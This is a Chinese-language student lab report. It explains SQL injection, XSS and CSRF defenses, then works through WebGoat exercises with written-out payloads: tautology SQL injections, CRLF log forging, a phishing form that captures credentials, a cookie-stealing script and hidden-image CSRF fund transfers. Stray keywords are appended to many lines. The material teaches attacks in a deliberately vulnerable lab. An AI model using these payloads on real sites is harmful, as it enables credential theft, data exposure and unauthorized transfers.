SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。javascript
SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。前端
SQL注入攻擊指的是就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。java
防護:git
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。web
2.永遠不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。正則表達式
3.永遠不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。sql
4.不要把祕密信息直接存放,加密或者hash掉密碼和敏感的信息。數據庫
XSS攻擊:跨站腳本攻擊。後端
XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。好比這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略。瀏覽器
防護:
基於特徵的防護:
傳統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。
基於代碼修改的防護:
步驟1、對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。
步驟2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
步驟3、確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤爲是樣式表和javascript),使用HTTP only的cookie。
CSRF即跨站請求僞造。借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
CSRF通常的攻擊過程是,攻擊者向目標網站注入一個惡意的CSRF攻擊URL地址(跨站url),當(登陸)用戶訪問某特定網頁時,若是用戶點擊了該URL,那麼攻擊就觸發了。
防護
referer
由於僞造的請求通常是從第三方網站發起的,因此第一個防護方法就是判斷 referer 頭,若是不是來自本網站的請求,就斷定爲CSRF攻擊。可是該方法只能防護跨站的csrf攻擊,不能防護同站的csrf攻擊(雖然同站的csrf更難)。
使用驗證碼
每個重要的post提交頁面,使用一個驗證碼,由於第三方網站是沒法得到驗證碼的。還有使用手機驗證碼,好比轉帳是使用的手機驗證碼。
使用token
每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。
將敏感操做又get改成post,而後在表單中使用token. 儘可能使用post也有利於防護CSRF攻擊。
先下載webgoat-container-7.0.1-war-exec.jar並將其複製到kali中
kali鍵入java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat,在firefox瀏覽器中輸入http://localhost:8080/WebGoat進入登陸界面,輸入默認的帳號便可登陸。
攻擊要求:下面的表單容許用戶查看天氣數據。嘗試注入SQL字符串,結果將顯示全部天氣數據。
這個題沒法經過輸入信息進行攻擊,咱們只能按下f12進入網頁後端,把這一處原來的101替換成 「101 or 1=1」 ,構造永真式,在第一頁選擇哥倫比亞進行查詢便可查詢到表中全部天氣狀況。
攻擊要求:下面的表格容許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,結果顯示全部的信用卡號碼顯示。
輸入 'or 1='1 構造永真式:第一個分號用來閉合last_name的第一個分號,而第二個分號用來閉合last_name的第二個分號。將一條語句被強行拆分紅爲兩條語句。而第二句1=1永遠成立,因此咱們能夠查找到所有人及其銀行卡帳號。
攻擊:下面的灰色區域表示將要登陸到Web服務器的日誌文件中的內容。你的目標是使它像一個用戶名「admin」已成功登陸。 經過向日志文件中添加腳原本提高攻擊。
先嚐試輸入帳號密碼,發現不論輸入什麼用戶名都會在同一行顯示出來。因此咱們能夠利用回車換行進行注入。
因此咱們在用戶名框中輸入 %0d%0a(換行符)Login Succeeded for username: admin 。登陸成功。
search框編寫前端代碼並在輸入框中注入這段前端代碼
<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
按要求輸入username password 便可截獲成功
攻擊要求:在務器端驗證全部輸入是一個很好的方法。XSS能夠發生在未經驗證的用戶輸入用於HTTP響應。在反射型XSS攻擊中,攻擊者能夠製做一個URL攻擊腳本發送到另外一個網站,好比電子郵件,而後讓受害者點擊它。
於Enter your three digit access codeA框內:填寫 <script>alert(document.cookie);</script> ,此段代碼能夠獲取cookie。
攻擊要求:目標是把電子郵件發送到銀行。該電子郵件包含一個圖像,其URL指向惡意請求。能夠經過在右邊的參數中查找「src」和「menu」值來構造連接。 CSRF的電子郵件,是用來匿名的將收件人的資金轉移。
輸入
<img src=' http://localhost:8080/WebGoat/attack? Screen=286 &menu=900 &transferFunds=233 ' width='1' height='1'>
其中286是網頁的scr,900是網頁的menu,4309爲轉錢數額
攻擊要求:與上一個攻擊相似,不一樣的是此次的目標是發送一組包含多個惡意請求的郵件:①資金轉移請求②資金轉移確認信息。
只須要在以前的基礎上加一句確認信息便可:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />
因此輸入爲:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=4309" width="1" height="1" />
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />